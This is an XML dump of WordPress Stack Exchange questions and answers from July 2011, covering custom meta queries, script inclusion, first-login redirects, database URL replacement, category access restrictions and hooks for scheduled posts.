  <row Id="24149" PostTypeId="1" CreationDate="2011-07-26T20:19:33.507" Score="0" ViewCount="53" Body="&lt;p&gt;For the past two weeks I've been looking for a way to create a query in wordpress that returns all custom post types where a meta_key &quot;mytype-expired&quot; is NOT set to &quot;yes&quot; and then order the results by a second meta_key called &quot;mytype-sort-order&quot; with the highest number value coming first.  If no value exists in the &quot;mytype-sort-order&quot; meta_key field, I want these posts to be displayed order by date (most recently added first), and all of these should be below posts that do have a value.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For example, these set of test posts&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Post 1&lt;/strong&gt; (from July 1st, mytype-sort-order value not set), &lt;strong&gt;Post 2&lt;/strong&gt; (from July 2nd, mytype-sort-order value not set), &lt;strong&gt;Post 3&lt;/strong&gt; (from July 3rd, mytype-sort-order value not set), &lt;strong&gt;Post 4&lt;/strong&gt; (from July 4th, mytype-sort-order value = 95), &lt;strong&gt;Post 5&lt;/strong&gt; (from July 5th, mytype-sort-order value = 90), &lt;strong&gt;Post 6&lt;/strong&gt; (from July 6th, mytype-sort-order value not set), &lt;strong&gt;Post 7&lt;/strong&gt; (from July 7th, expired=&quot;yes&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;should be returned as follows&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Post 4&lt;/strong&gt; (from July 4th, mytype-sort-order value = 95)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Post 5&lt;/strong&gt; (from July 5th, mytype-sort-order value = 90)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Post 6&lt;/strong&gt; (from July 6th, mytype-sort-order value not set)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Post 3&lt;/strong&gt; (from July 3rd, mytype-sort-order value not set)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Post 2&lt;/strong&gt; (from July 2nd, mytype-sort-order value not set)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Post 1&lt;/strong&gt; (from July 1st, mytype-sort-order value not set)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;Post 7&lt;/strong&gt; not displayed because it's expired)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I explained my current approach of trying to use meta-query here &lt;a href=&quot;http://wordpress.stackexchange.com/questions/23700/how-to-query-posts-using-meta-query-to-orderby-meta-key-and-have-a-secondary-sort&quot; title=&quot;my first solution attempt&quot;&gt;here&lt;/a&gt;, but I found anything new or made any progress myself, and with no responses to my first question I'm wondering if there's another way I could accomplish this.  I've been able to not return expired posts, and order by &quot;mytype-sort-order&quot; meta_value_num OR order by date.  The problem I keep running into is I &lt;strong&gt;can't order by BOTH &quot;mytype-sort-order&quot; meta_value_num AND date&lt;/strong&gt;  Even though I've done a lot with wordpress, my experience with creating custom queries is limited.  I'm totally stuck and would REALLY appreciate some ideas. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2677" LastActivityDate="2011-08-26T09:53:03.973" Title="Custom query looking at multiple custom fields and properly sorting" Tags="&lt;query-posts&gt;&lt;wp-query&gt;&lt;meta-query&gt;" AnswerCount="2" />
  <row Id="24150" PostTypeId="2" ParentId="24030" CreationDate="2011-07-26T20:28:10.950" Score="1" ViewCount="" Body="&lt;p&gt;Adjacent post fetching relies on quite a bit of custom SQL inside. One of the assumptions it makes in that SQL is that you are only looking for published post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_adjacent_post#Filters&quot; rel=&quot;nofollow&quot;&gt;use filter in &lt;code&gt;get_adjacent_post()&lt;/code&gt;&lt;/a&gt; (that is used internally by those next/previous functions) to alter the query and get rid of published only limitation.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-26T20:28:10.950" CommentCount="3" />
  <row Id="24151" PostTypeId="2" ParentId="24148" CreationDate="2011-07-26T20:30:41.877" Score="2" ViewCount="" Body="&lt;p&gt;Try replacing &lt;code&gt;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;&lt;/code&gt; with &lt;code&gt;&amp;lt;?php echo get_template_directory_uri(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I wouldn't hook it to the &lt;code&gt;init&lt;/code&gt;action, why don't use &lt;code&gt;wp_print_styles&lt;/code&gt; instead? &lt;strong&gt;It is&lt;/strong&gt; a style after all.&lt;/p&gt;&#xA;" OwnerUserId="7361" LastActivityDate="2011-07-26T20:30:41.877" CommentCount="2" />
  <row Id="24154" PostTypeId="2" ParentId="24140" CreationDate="2011-07-26T20:43:32.880" Score="1" ViewCount="" Body="&lt;p&gt;Most likely the file cannot be found, I'm assuming the file you're trying to include is located in your theme folder, in that case you should use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once( TEMPLATEPATH . '/file.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;TEMPLATEPATH&lt;/code&gt; will return something like this: &lt;code&gt;/home/user/httdocs/wp-content/themes/twentyeleven&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worst case scenario you'll find a &lt;strong&gt;Fatal Error&lt;/strong&gt;, but that'll help to find the problem.&lt;/p&gt;&#xA;" OwnerUserId="7361" LastActivityDate="2011-07-26T20:43:32.880" />
  <row Id="24155" PostTypeId="1" AcceptedAnswerId="24157" CreationDate="2011-07-26T20:57:49.657" Score="0" ViewCount="19" Body="&lt;p&gt;Is there a query I can run on my wordpress database so that I can change all instances of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.mydomain.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;localhost/mylocalsite.com?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-07-26T21:05:14.223" Title="Rewrite database urls" Tags="&lt;mysql&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="24156" PostTypeId="1" CreationDate="2011-07-26T21:00:51.947" Score="0" ViewCount="29" Body="&lt;p&gt;I am using this ClasiPress to create a different type of listing classifieds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will select manually who can subscribe or not (only a type of leaders for a religious institution).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 4 categories. 2 of them need to be available to every one at all times (to browse). The 4 will be available to the leaders. The leaders will be able to post in all 4 Categories, and they will be able to view / post all 4 Categories. BUT the main public will only see two. How could I go about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could make the two categories that need login, subjected to a php conditional line. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw a solution similar ( &#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/21558/how-to-block-a-category-from-one-user-and-enable-the-category-for-the-rest-of-the&quot;&gt;How to block a category from one user and enable the category for the rest of the users&lt;/a&gt; ), but I do not have the same problem. Basically, every one without login is able to see two of the four categories, two always hidden for every one, except teacher, who once login are able to see everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any one?&lt;/p&gt;&#xA;" OwnerUserId="7363" LastEditorUserId="7363" LastEditorDisplayName="" LastEditDate="2011-07-26T21:06:36.860" LastActivityDate="2011-08-27T07:35:22.070" Title="User level categories" Tags="&lt;categories&gt;&lt;login&gt;&lt;exclude&gt;" AnswerCount="1" />
  <row Id="24157" PostTypeId="2" ParentId="24155" CreationDate="2011-07-26T21:05:14.223" Score="2" ViewCount="" Body="&lt;p&gt;Try this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/search-and-replace/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search-and-replace/&lt;/a&gt; - It helped me dozens of times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or try this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE tablename SET tablefield = replace(tablefield, &quot;findstring&quot;, &quot;replacestring&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or try this method, dump the database, open the SQL file, do a find and replace in a text editor then reimport it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take care to backup your database prior to making any operations and changes!&lt;/p&gt;&#xA;" OwnerUserId="7349" LastActivityDate="2011-07-26T21:05:14.223" CommentCount="2" />
  <row Id="24158" PostTypeId="1" AcceptedAnswerId="24226" CreationDate="2011-07-26T21:22:25.150" Score="0" ViewCount="30" Body="&lt;p&gt;I have my WordPress blog up and running on an IIS7 server and I installed W3 Total Cache. At some point prior to WordPress 3.2 upgrade, everything seemed to be working, but since then (and quite possibly, some plugin installations) all it does is add a single &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag after the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tag and its footer saying &quot;Performance Optimization by...&quot;. It doesn't cache anything, it doesn't change browser cache settings in the response header. It doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't work out what is going on, so I'm hoping someone here recognises this issue and can help. I have WordPress 3.2.1 and W3 Total Cache 0.9.2.3. The other active plug-ins I have are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Akismet 2.5.3&lt;/li&gt;&#xA;&lt;li&gt;FeedBurner FeedSmith Extend 1.0.0&lt;/li&gt;&#xA;&lt;li&gt;Google Analytics for WordPress 1.1.3&lt;/li&gt;&#xA;&lt;li&gt;Recommended Reading: Google Reader Shared 4.0.4&lt;/li&gt;&#xA;&lt;li&gt;Share and Follow 1.54.1&lt;/li&gt;&#xA;&lt;li&gt;SyntaxHighlighter Evolved 3.1.3&lt;/li&gt;&#xA;&lt;li&gt;TinyMCE Valid Elements 0.3&lt;/li&gt;&#xA;&lt;li&gt;Tweet Blender 3.3.14&lt;/li&gt;&#xA;&lt;li&gt;Twitter Facebook Social Share 2.0.0&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have turned on the debugging feature but nothing gets appended to the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will continue to investigate but if anyone can see where my issue lies, please answer accordingly. Why won't W3 Total Cache, cache?&lt;/p&gt;&#xA;" OwnerUserId="7364" LastActivityDate="2011-08-27T09:35:23.543" Title="W3 Total Cache and IIS7 not doing much" Tags="&lt;plugins&gt;&lt;cache&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="1" />
  <row Id="24159" PostTypeId="2" ParentId="24135" CreationDate="2011-07-26T21:26:07.647" Score="0" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/easy-fancybox/&quot; rel=&quot;nofollow&quot;&gt;Easy Fancybox&lt;/a&gt;. It has a number of great features that allows for auto-detection of image files, and fancybox allows for HTML or inline, which is what you are looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also allows for it to automatically popup, just attached the &lt;code&gt;fancybox-auto&lt;/code&gt; class&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-07-26T21:26:07.647" CommentCount="2" />
  <row Id="24160" PostTypeId="1" CreationDate="2011-07-26T21:35:58.967" Score="1" ViewCount="45" Body="&lt;p&gt;I'm dealing with a rather hackish implementation, where &lt;code&gt;header.php&lt;/code&gt; has this line: &lt;code&gt;include_once &quot;tracking.php&quot;;&lt;/code&gt;. Inside &lt;code&gt;tracking.php&lt;/code&gt;, there are these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;/wp-content/themes/themename/js/jquery-1.3.2.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;  &amp;lt;script type=&quot;text/javascript&quot; src=&quot;/wp-content/themes/themename/js/jquery.cookie.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, as long as the paths to those .js files are correct, they don't get printed in the page's head. If I introduce a typo so that the path is incorrect, then they do get printed!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize this is not an optimal way of including these files. However, does anyone have an idea as to why they aren't being printed if the path used is correct?&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-07-27T16:31:58.027" Title="Script will not print in head if path to file is correct" Tags="&lt;javascript&gt;" AnswerCount="4" />
  <row Id="24161" PostTypeId="1" CreationDate="2011-07-26T21:43:27.957" Score="0" ViewCount="35" Body="&lt;p&gt;I am working on a website that needs to display information about electronic resources  which is stored in an external database. This information will be presented three different ways (alphabetical by letter, by category, and a detail view of a specific resource) and needs to have a unique url that a user could bookmark or which can be sent in an email (i.e. all the art resources would be found at something like /resourcecategoryart or /resourcecategory?category=art.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to wordpress and I do not know best practices or expected design patterns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the functions that run the queries I need and display the relevant information, but I do not know how to get them to work with a wordpress site. Do I create one page for each of the types of display (3) and then pass a variable in the url that gives it the value the function needs to query and display? Do I instead make a page for each possible instance (one for each of the couple hundred resources for their detail display, one for each letter of the alphabet, and one for each category type) and just have them include the relevant code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers towards resources or suggestions on how to handle this would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="4756" LastActivityDate="2011-08-26T04:34:56.253" Title="How to display content from external db with relevant urls" Tags="&lt;database&gt;&lt;query&gt;&lt;urls&gt;" AnswerCount="1" />
  <row Id="24162" PostTypeId="2" ParentId="24161" CreationDate="2011-07-26T22:15:43.873" Score="0" ViewCount="" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6891/making-a-plugin-file-accessible-via-url-rewrite&quot;&gt;this question&lt;/a&gt; for a fairly simple solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, &lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin&quot; rel=&quot;nofollow&quot;&gt;create a plugin&lt;/a&gt; to contain your code, &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Rewrite&quot; rel=&quot;nofollow&quot;&gt;add a rewrite rule&lt;/a&gt; to intercept any requests that match your custom url, and parse or pass whatever data they contain to your plugin, which can then use those variables to produce whatever output you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also suggest using the &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb&quot; rel=&quot;nofollow&quot;&gt;wpdb class&lt;/a&gt; to do your database queries.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-26T22:15:43.873" />
  <row Id="24163" PostTypeId="2" ParentId="24156" CreationDate="2011-07-26T22:32:50.780" Score="0" ViewCount="" Body="&lt;p&gt;I've tried quite a few plug-ins to restrict user access. The best that I've found is the Members Plug-in by Justin Tadlock. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You can download it here:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/members/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/22191/wordpress-as-a-cms-membership-website&quot;&gt;WordPress as a CMS Membership website&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plug-in allows you to restrict access to individual posts, possibly by categories, but I don't see the setting after briefly looking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More detailed instructions can be found here:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://webtide.wordpress.com/2010/07/20/how-to-use-the-members-plugin-to-restrict-access-to-wordpress-3-0-custom-post-type/&quot; rel=&quot;nofollow&quot;&gt;WebTide Website, Members Plug-in Page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-26T22:32:50.780" />
  <row Id="24164" PostTypeId="1" AcceptedAnswerId="24503" CreationDate="2011-07-26T22:52:14.280" Score="0" ViewCount="86" Body="&lt;p&gt;I've been trying to decipher a way to display a message to a user on first login and can't seem to get it to work. I'm not sure what I'm missing, or if there's something else I need to do. Any help would be appreciated. I feel like I missing something here.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ap_new_user_message() {&#xA;    $current_user = wp_get_current_user();&#xA;    $user_ID = $current_user-&amp;gt;ID;&#xA;    //global $user_ID;&#xA;    if( $user_ID ) {&#xA;        $user_info = get_userdata( $user_ID );&#xA;        // If user_registered date/time is less than 48hrs from now&#xA;        // Message will show for 48hrs after registration&#xA;        if ( strtotime( $user_info-&amp;gt;user_registered ) &amp;gt; ( time() - 172800 ) )&#xA;        echo '&amp;lt;div&amp;gt;display a message&amp;lt;/div&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, If I could find a way of determining how many days it's been since a user was created I could do something similar. Perhaps by adding to the user meta table?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function first_login($login) {&#xA;    global $user_ID;&#xA;    $user = get_userdatabylogin($login);&#xA;    update_usermeta( $user-&amp;gt;ID, 'first_login', date(), time() );&#xA;  }&#xA;add_action('wp_login','first_login');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then calling for it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if first_login(date, time) == (today, ago) {&#xA;#do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Milo's code worked great. However, I needed it to work with Eric Meyer's Simple Modal Login. I found this function within simplemodal-login.php and peter's login redirect.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        function login_redirect($redirect_to, $req_redirect_to, $user) {&#xA;        if (!isset($user-&amp;gt;user_login) || !$this-&amp;gt;is_ajax()) {&#xA;            return $redirect_to;&#xA;        }&#xA;        if ($this-&amp;gt;is_plugin_active('peters-login-redirect/wplogin_redirect.php')&#xA;                &amp;amp;&amp;amp; function_exists('redirect_to_front_page')) {&#xA;            $redirect_to = redirect_to_front_page($redirect_to, $req_redirect_to, $user);&#xA;        }&#xA;        echo &quot;&amp;lt;div id='simplemodal-login-redirect'&amp;gt;$redirect_to&amp;lt;/div&amp;gt;&quot;;&#xA;        exit();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and added Milo's redirect to it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function login_redirect($redirect_to, $req_redirect_to, $user) {&#xA;        $regtime = strtotime($user-&amp;gt;user_registered);&#xA;        $now = strtotime(&quot;now&quot;);&#xA;        $diff = $now - $regtime;&#xA;        $hours = $diff / 60 / 60;&#xA;        if (!isset($user-&amp;gt;user_login) || !$this-&amp;gt;is_ajax()) {&#xA;            return $redirect_to;&#xA;        }&#xA;        if ($this-&amp;gt;is_plugin_active('peters-login-redirect/wplogin_redirect.php')&amp;amp;&amp;amp; function_exists('redirect_to_front_page')) {&#xA;            $redirect_to = redirect_to_front_page($redirect_to, $req_redirect_to, $user);&#xA;        }&#xA;        if( $hours &amp;lt; 48 ){&#xA;            $redirect_to = &quot;/somepage/&quot;; // it's been less than 48 hours, redirect to message.&#xA;        }&#xA;        echo &quot;&amp;lt;div id='simplemodal-login-redirect'&amp;gt;$redirect_to&amp;lt;/div&amp;gt;&quot;;&#xA;        exit();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I just need to determine how to force a model popup when a users reaches a certain page.&lt;/p&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-08-01T22:14:03.637" LastActivityDate="2011-08-01T22:14:03.637" Title="Redirecting or displaying a message on first login" Tags="&lt;login&gt;&lt;user-access&gt;&lt;user&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="24165" PostTypeId="2" ParentId="106" CreationDate="2011-07-26T22:54:01.113" Score="-3" ViewCount="" Body="&lt;p&gt;I realize this is an old post but this information could prove useful for someone in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've recently posted an article on my blog and a video on YouTube showing you how to rename the wp-admin folder. It takes less than 5 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.phpmonkey.net/2011/07/wordpress-tutorials/renaming-the-wp-admin-directory/&quot; rel=&quot;nofollow&quot;&gt;http://www.phpmonkey.net/2011/07/wordpress-tutorials/renaming-the-wp-admin-directory/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7367" LastActivityDate="2011-07-26T22:54:01.113" CommentCount="2" />
  <row Id="24166" PostTypeId="1" AcceptedAnswerId="24386" CreationDate="2011-07-26T23:16:43.323" Score="0" ViewCount="21" Body="&lt;p&gt;I just definsed at Setting&gt; Reading a page I have created called &quot;home&quot; as my homepage. The change was ok, but since them all my internal pages url shows an extra /home/in their urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I avoid it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before:&#xA;www.mydomain/internalpage/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the change:&#xA;www.mydomain*&lt;em&gt;/home/&lt;/em&gt;*internalpage/ &lt;/p&gt;&#xA;" OwnerUserId="7062" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-29T11:19:28.867" LastActivityDate="2011-07-29T11:19:28.867" Title="How to exclude my home page from url of my internal pages?" Tags="&lt;url-rewriting&gt;&lt;urls&gt;&lt;settings&gt;&lt;homepage&gt;" AnswerCount="2" />
  <row Id="24167" PostTypeId="2" ParentId="24160" CreationDate="2011-07-26T23:23:23.537" Score="1" ViewCount="" Body="&lt;p&gt;try &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_template_part('tracking');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as a way of including that file rather than the straight include.&lt;/p&gt;&#xA;" OwnerUserId="3493" LastActivityDate="2011-07-26T23:23:23.537" />
  <row Id="24168" PostTypeId="2" ParentId="24160" CreationDate="2011-07-26T23:36:07.507" Score="2" ViewCount="" Body="&lt;p&gt;How about using &lt;code&gt;locate_template()&lt;/code&gt; for the inclusion and &lt;code&gt;wp_enqueue_script()&lt;/code&gt; for the scripts? There's also &lt;code&gt;content_url()&lt;/code&gt; to target /wp-content/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: How did you inspect it? Sourcecode? FireBug? Try to open source in FF and then click the link. If you get a &quot;file not found&quot;, you know what it's about, else it should be loaded. The fact that it really doesn't get &quot;printed&quot; to the screen is something I never saw before (in the way) you described. Best solution would be the first paragraph of my A: Switch method of inclusion and stop worrying :)&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-26T23:36:07.507" CommentCount="2" />
  <row Id="24169" PostTypeId="1" CreationDate="2011-07-24T23:06:54.900" Score="0" ViewCount="7" Body="&lt;p&gt;I'm trying to output the URL and titles of posts that have already been published. However I can't seem to filter out the posts properly...either only 10 of them are displayed or all of them are displayed, including the scheduled posts that haven't been officially 'published'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function P2S_menu(){&#xA;&#xA;    $allPosts = '';&#xA;    $query = new WP_Query('posts_per_page=10000', 'post_status=publish');  &#xA;//also tried this = $query_string . '&amp;amp;orderby=title&amp;amp;order=asc&amp;amp;posts_per_page=-1');&#xA;&#xA;    while($query-&amp;gt;have_posts()){&#xA;        $query-&amp;gt;the_post();&#xA;        $url = get_permalink();&#xA;        $keyword = get_the_title();&#xA;        $allPosts .= $url . '&amp;amp;#123;' . $keyword . '|' . $url . '&amp;amp;#125;' . &quot;\n&quot;;&#xA;    }&#xA;&#xA;    echo '&amp;lt;textarea id=&quot;holdtext&quot; rows=&quot;20&quot; cols=&quot;160&quot;&amp;gt;' . $allPosts . '&amp;lt;/textarea&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-07-26T23:48:45.550" Title="Wordpress, can't properly output posts" Tags="&lt;loops&gt;" />
  <row Id="24170" PostTypeId="1" CreationDate="2011-07-26T23:51:41.170" Score="0" ViewCount="44" Body="&lt;p&gt;I'm using WordPress's built-in classes, &lt;code&gt;current-menu-item&lt;/code&gt;, &lt;code&gt;current-page-ancestor&lt;/code&gt;, and &lt;code&gt;current_page_parent&lt;/code&gt;, to change the CSS of the menu to reflect the current page that the user is on, or, in the case of the blog, the parent page (so that the menu is highlighted for all single posts, tags, categories, and archives).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this doesn't work for two important cases involving custom post types: single custom posts, and custom post type archives (which I am achieving using &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-archives/&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a solution to this problem?&lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2011-07-26T23:51:41.170" Title="Dynamic menu highlighting for custom post types" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;custom-menus&gt;&lt;menus&gt;&lt;navigation&gt;" />
  <row Id="24171" PostTypeId="1" CreationDate="2011-07-26T22:11:53.603" Score="0" ViewCount="23" Body="&lt;p&gt;I wrote a simple plugin that gets a random video url from a local file, and then embeds it into a post. It finds a &lt;code&gt;[video]&lt;/code&gt; tag and replaces it with completed embedded code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('publish_post', 'fetchVideo');&#xA;&#xA;function fetchVideo($post_id) {&#xA;    $post = get_post($post_id);&#xA;    $content = $post-&amp;gt;post_content;&#xA;&#xA;    if(strpos($content, '[video]') === false){&#xA;        return;&#xA;    } else {&#xA;        $url = randomLine((dirname(__FILE__)) . '/videos.txt');&#xA;        if(strlen($url) &amp;gt; 0){&#xA;            $url = trim(substr($url, strpos($url, 'watch?v') + 8));&#xA;            $embed_code = '&amp;lt;iframe width=&quot;480&quot; height=&quot;390&quot; src=&quot;http://www.youtube.com/embed/' . $url . '?rel=0&amp;amp;controls=0&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;false&quot;&amp;gt;&amp;lt;/iframe&amp;gt;';&#xA;            $content = str_replace('[video]', $embed_code, $content);&#xA;&#xA;        } else {&#xA;            $content = str_replace('[video]', 'Failed to find a video for this listing', $content);&#xA;    }&#xA;    $post-&amp;gt;post_content = $content;&#xA;    wp_update_post($post);&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I manually make a post then publish it, the code works perfectly; the video embeds and plays as desired. However, when I schedule a post, and it publishes automatically, there is nothing displayed but it removes the &lt;code&gt;[video]&lt;/code&gt; token! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not even one of the error messages that is supposed to be displayed when it can't find a video is shown. Clearly though, the post content is being updated as it always removes the &lt;code&gt;[video]&lt;/code&gt; token without disturbing the other text around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tested this on other blogs with the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has baffled me for nearly a week, so any help would be appreciated more than you might imagine.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-26T02:34:55.687" Title="Wordpress: Code works fine manually posting, but not for scheduled posting" Tags="&lt;php&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="24172" PostTypeId="2" ParentId="24171" CreationDate="2011-07-26T22:31:29.350" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;publish_post&lt;/code&gt; is not the right hook. Look at, e.g., &lt;a href=&quot;http://codex.wordpress.org/Post_Status_Transitions&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;future_to_publish&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-26T22:31:29.350" CommentCount="2" />
